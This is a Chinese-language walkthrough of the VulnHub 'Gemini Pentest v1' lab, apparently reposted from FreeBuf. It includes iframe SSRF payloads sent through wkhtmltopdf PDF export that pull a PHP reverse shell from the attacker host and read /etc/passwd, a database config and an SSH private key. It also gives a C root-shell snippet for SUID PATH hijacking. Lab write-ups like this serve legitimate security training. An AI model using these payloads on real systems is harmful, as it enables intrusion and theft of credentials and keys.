0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

靶场搭建
靶场下载地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
启动虚拟机
靶场搭建完毕。
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
147为kali攻击机ip,所以152为靶机ip
扫描靶机端口服务开放情况
开放了22端口存在SSH服务
开放了80端口存在HTTP服务,且中间件为Apache2.4.25
先访问一下WEB
页面上的信息显示当前我们时Guest用户,并且页面使用了开源框架,并且给出了给github地址
在查看源码时发现了/test2/login.php页面
知道源码地址,我们尝试去查看源码
在源码中的install.php文件中发现了一对默认账号密码admin/1234
使用这对账号密码尝试登录刚才发现的login.php页面
发现登录成功,用户变成了admin用户
查找页面其它功能,发现只有查看用户信息和编辑信息功能还有输出成PDF功能
尝试修改用户信息
在Display name 处发现了一个存储型XSS漏洞,但是这个漏洞不能让我们拿到shell
查看输出成PDF这个功能
在文档属性中看到创建者为wkhtmltopdf0.12.4,似乎是这个导出功能所使用的框架工具
所以我们可以搜索一下看这个框架是否存在漏洞可以利用
发现果然存在可以利用漏洞
存在SSRF导致的任意文件读取漏洞
所以我们尝试向刚才存在存储型XSS的地方输入exp,利用img,iframe等标签来读取文件
<iframe src="file:///etc/passwd></iframe>
发现无法读取出本地文件
来尝试读取远程文件
使用python搭建一个临时网站
<iframe src="http://192.168.52.147/php-reverse-shell.php"></iframe>
发现确实存在远程文件读取
存在远程文件读取的话,本地文件读取应该也是存在的,应该是存在某些限制导致我们前面读取失败
经过搜索发现可以通过构造远程包含读取文件的PHP文件来达到读取文件的目的
在/var/www/html下创建一个PHP文件
启动apache服务
然后构造请求
<iframe src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe>
保存输出PDF,发现成功读取了文件
这个iframe窗口大小不够完全显示内容,把大小调大
<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/etc/passwd"></iframe>
发现gemini1用户可以登录
再尝试看能否读取到/etc/shadow文件,发现读取不到,证明权限不够
此漏洞在这只能实现文件的读取,不能实现命令执行
所以我们要尽量去读取一些敏感文件
在源码中找到配置文件的位置
尝试读取配置文件
<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/var/www/html/test2/inc/settings.php"></iframe>
成功读取到配置文件
成功读取到数据库账号密码,但是数据库并没有对外开放
猜测这个密码可能也是ssh登陆的密码,所以尝试登录
发现并不正确,但是发现可以通过公钥登录
尝试读取公钥,看家目录下是否存在公私钥
<iframe height="2000" width="800" src="http://192.168.52.147/1.php?url=/home/gemini1/.ssh/id_rsa"></iframe>
发现果然存在私钥
将公钥复制保存
赋予权限,成功登录
浏览了各目录没有发现有用的信息
提权
sudo提权
sudo -l 查看是否有可提权的命令
不能通过这种方式提权
SUID提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
通过命令
find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
awk
发现有一个不常见的文件
不知道这个文件的功能是什么,尝试执行
发现列出了网卡信息和端口开放情况和当前日期时间
似乎这些信息都是linux自带的命令输出的内容
查看文件类型,未linux elf可执行文件
查看包含字符串,发现果然包含这些系统命令
发现三个命令都由绝对路径,且当前用户无权限修改
只有date这个命令没有绝对路径,所以我们创建一个date文件,修改环境变量,让listinfo这个程序执行
#include <sys/types.h> #include <unistd.h> #include <stdlib.h> int main(){ setuid(0); setgid(0); system("/bin/bash"); }
再/home/gemini1目录下创建date.c文件(在其它目录下没有权限)
编译
修改环境变量
执行listinfo,提权成功
获得到flag
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)